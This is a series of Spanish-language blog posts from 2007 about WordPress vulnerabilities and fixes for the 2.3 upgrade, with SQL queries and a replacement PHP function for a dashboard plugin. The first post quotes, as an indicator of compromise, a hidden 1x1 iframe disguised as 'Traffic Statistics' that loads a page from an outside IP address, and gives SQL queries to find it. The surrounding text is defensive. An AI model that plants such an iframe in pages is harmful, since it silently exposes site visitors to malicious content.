Contenido

Nuevo fallo en Wordpress, insercción de iframe

6 Nov

+ 19

Eduardo de De Mas Blog, me avisa de que han reportado un nuevo bug de Wordpress, que aún están por corregir, pero que si conocemos podemos estar atentos para controlarlo.

Al parecer el bug, permite aprovecharse de algún exploit que permite insertar en Wordpress un iframe con la siguiente estructura.

<!-- Traffic Statistics -->
<iframe src=http://61.132.75.71/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe>
<!-- End Traffic Statistics -->

El problema es que este contenido, aparece dentro del contenido del post, LO HA INTRODUCIDO ALGUIEN AJENO AL BLOG MEDIANTE UN EXPLOIT. Por lo que evidentemente pueden insertar contenido malicioso dentro de nuestros posts, algo realmente delicado.

Por desgracia, esto afecta a varias versiones de Wordpress, incluida la 2.3.1.

Comprobar si ya hemos sido atacados

Para comprobar si ya hemos sido atacados, usaremos phpmyadmin (o similar) para buscar en el contenido de nuestros posts y comentarios (por si acaso) algún indicio de <iframe />

//Comentarios
SELECT *  FROM `PREFIX_comments` WHERE `comment_content` LIKE  '%<iframe%;

//Posts
SELECT *  FROM `PREFIX_posts` WHERE `post_title` LIKE  '%<iframe%';

PREFIX, es el prefijo que pusimos al instalar Wordpress.

Detectada vulnerabilidad en Wordpress 2.3

18 Oct

+ 12

Al parecer, se ha detectado una vulnerabilidad que permite añadir enlaces directamente en el blogroll, sin duda algo muy cotizado por los spammers y un problema en general para Internet. Ya se ha reportado y solucionado, asi que no ha de cundir el pánico.

¿Como solucionarlo?

Tan fácil como siempre :D

  1. Haces una copia temporal (por si algo va mal) del fichero link.php de la carpeta wp-admin/ de tu Wordpress.
  2. Descargas la versión corregida (Enlace directo)
  3. Lo subes a la carpeta wp-admin/ de tu server suplantando el anterior.
  4. Wordpress sin problemas!! :D

Problema con tags y Wordpress 2.3

4 Oct

+ 17

El mayor atractivo de Wordpress 2.3, tiene un fallo que puede comprometer cualquier blog que se haya actualizado, asi que se recomienda actualizar para evitar que graciosos te tumben el blog.

El problema

Wordpress, permite realizar busquedas por tags, haciendo posible consultas de este estilo.

url.com/tag/primera+segunda+tercera+...+infinitas...

Esto puede ocasionar un problema a la hora de atacar a la base de datos, ya que el número de parámetros solicitados como tags, harán más pesada y compleja la consulta a la base de datos incluyo llegando a tumbar el servidor.

Solución

Antés de que la gente se eche la cabeza y comienze con “Wordpress es una mierda”, “Este Matt, seguro que usa  Drupal“,.. o semejantes críticas, hay que saber que antes casi de que se detectara el problema, la gente de Wordpress ya había desarrollado un parche para solucionar este problema.

  1. Descargar el fichero (query.php)
  2. Renombrar el fichero (query.php) de la carpeta wp-include/ por _query.php(o el que os apetezca)
  3. Subir el fichero al lugar que ocupaba el anteriormente renombrado.
  4. Solucionado :D

¿Fácil no? ;)

Problemas con wordpress 2.3 y la base de datos(wp_post2cat, wp_categories)

25 Sep

+ 82

Tras la actualización de Wordpress a la versión 2.3. mucha gente está experimentando problemas con la tabla wp_posts2cat, y he recibido muchos mails pidiendome ayuda sobre el problema. Así que he pensado en publicar la solución que he encontrado.

Hay que tener en cuenta que la tabla wp_posts2cat y wp_categories han dejado de existir en la versión 2.3 dejando paso a la nueva estructura taxonómica. Así que como consejo antes de actualizar:

REVISA QUE LOS PLUGINS QUE TIENES O QUIERES, ESTAN ACTUALIZADOS Y SON COMPATIBLES CON LA VERSIÓN NUEVA

Problema

WordPress database error: [Table 'wp_post2cat' doesn't exist]

SELECT p2c.category_id AS cat_id, COUNT(p2c.rel_id) AS numposts,
UNIX_TIMESTAMP(max(posts.post_date_gmt)) + '8' AS last_post_date,
UNIX_TIMESTAMP(max(posts.post_date_gmt)) AS last_post_date_gmt FROM
wp_post2cat p2c INNER JOIN wp_posts posts ON p2c.post_id=posts.id WHERE
1 = 1 AND posts.post_type = 'post' AND posts.post_status = 'publish'
AND posts.post_date_gmt <= '2007-09-19 12:08:25' GROUP BY
p2c.category_id ORDER BY numposts DESC

o

WordPress database error: [Table 'wordpress.wp_post2cat' doesn't exist]

SELECT c.cat_name FROM wp_post2cat p2c INNER JOIN wp_categories c ON p2c.category_id = c.cat_id WHERE p2c.post_id = 218

o

WordPress database error: [Table 'wordpress.wp_post2cat' doesn't exist]

SELECT cat_ID AS ID, MAX(post_modified) AS last_mod FROM wp_posts p
LEFT JOIN wp_post2cat pc ON p.ID = pc.post_id LEFT JOIN wp_categories c
ON pc.category_id = c.cat_ID WHERE post_status = 'publish' GROUP BY
cat_ID

Solución

Revisa la lista de plugins compatibles con la nueva versión, por que al parecer se está usando alguno que no está actualizado. Quizas ya hayan publicado una versión nueva corrigiendo este problema, si aún no ha sido actualizado, deberías desactivarlo cautelarmente hasta que se actualize el plugin.

Problema

Estás usando theme basado en K2. 

Solución

Revisa los plugins que integra tu versión y evita los no actualizados o compatibles con la nueva versión. En el codex ya hay un hilo comentando el tema.

Problema

WordPress database error: [Table 'mainsite.wp_terms' doesn't exist]

SELECT t.*, tt.* FROM wp_terms AS t INNER JOIN wp_term_taxonomy AS tt
ON tt.term_id = t.term_id INNER JOIN wp_term_relationships AS tr ON
tr.term_taxonomy_id = tt.term_taxonomy_id WHERE tt.taxonomy IN
('category') AND tr.object_id IN (171) ORDER BY t.name ASC

Solución

Forzar una actualización de la base de datos. Que consiste en decrementar en un el valor de db_version de la tabla wp_options. Una vez decrementado, como hagamos login nos pedirá otro upgrade.

Para modificar el dato, usaremos phpmyadmin (o similar) o cambiar los valores directamente desde wp-admin/optinos.php.

Podemos ver y modificar este resultado directamente desde nuestro SQL. En phpmyadmin, en la pestaña SQL.

//Actualizamos la versión a una inferior
UPDATE `wp_options` SET `option_value` = option_value - 1 WHERE `wp_options`.`option_name` = 'db_version' LIMIT 1 ;

Como podemos ver, decrementamos uno el valor que haya dentro de la tabla wp_options. Revisar el prefijo de las tablas antes de ejecutar el update.

Una vez modificado este valor, ir a wp-admin/upgrade.php de tu Wordpress.

Mis plugins

Solo he podido probar y funcionan correctamente los siguientes plugins, este finde, revisaré el resto.

Si alguien ha probado algún otro plugin y le funciona o no, me haría un favor increible si me avisará. Gracias

Actualización

Un problema que he visto, aunque había pasado desapercibido por que está un poco escondido, ha sido con el plugin myDashboard, que se encarga de modificar el aspecto de nuestro dashboard y convertirlo en una especie de netvibes. Debido a que está desarrollado a modo de gadgets, algunos de estos hay que actualizarlos para que se olviden de las tablas obsoletas.

Uno de ellos es el gadget de estadísticas, que muestra el número de posts, comentarios,… totales del blog, que al querer mostrar el número de categorías este da el famoso error. La solución es bastante simple.

Solución

Basta con editar el fichero default.php de la carpeta mydashboard/gadgets/ que estará en la carpeta wp-content/plugins/ de nuestro Wordpress (siempre y cuando tengamos el plugin instalado). Reemplazamos la función mydash_display_blog_statistics() (sobre la línea 366) por esta.

function mydash_display_blog_statistics($args = false) {
	global $wpdb;

	$mytitle = __('Blog Stats');

	$numposts = (int) $wpdb->get_var("SELECT COUNT(*) FROM $wpdb->posts WHERE post_type = 'post' AND post_status = 'publish'");
	$numcomms = (int) $wpdb->get_var("SELECT COUNT(*) FROM $wpdb->comments WHERE comment_approved = '1'");
	$numcats  = wp_count_terms('category');
	$numtags = wp_count_terms('post_tag');

	$post_str = sprintf(__ngettext('%1$s <a href="%2$s" title="Posts">post</a>', '%1$s <a href="%2$s" title="Posts">posts</a>', $numposts), number_format_i18n($numposts), 'edit.php');
	$comm_str = sprintf(__ngettext('%1$s <a href="%2$s" title="Comments">comment</a>', '%1$s <a href="%2$s" title="Comments">comments</a>', $numcomms), number_format_i18n($numcomms), 'edit-comments.php');
	$cat_str  = sprintf(__ngettext('%1$s <a href="%2$s" title="Categories">category</a>', '%1$s <a href="%2$s" title="Categories">categories</a>', $numcats), number_format_i18n($numcats), 'categories.php');
	$tag_str  = sprintf(__ngettext('%1$s tag', '%1$s tags', $numtags), number_format_i18n($numtags));

	$mycontent = '<p>' . sprintf(__('There are currently %1$s and %2$s, contained within %3$s and %4$s.'), $post_str, $comm_str, $cat_str, $tag_str) . '</p>';

	return array('title' => $mytitle, 'content' => $mycontent);
}

Iré actualizando si veo algo nuevo.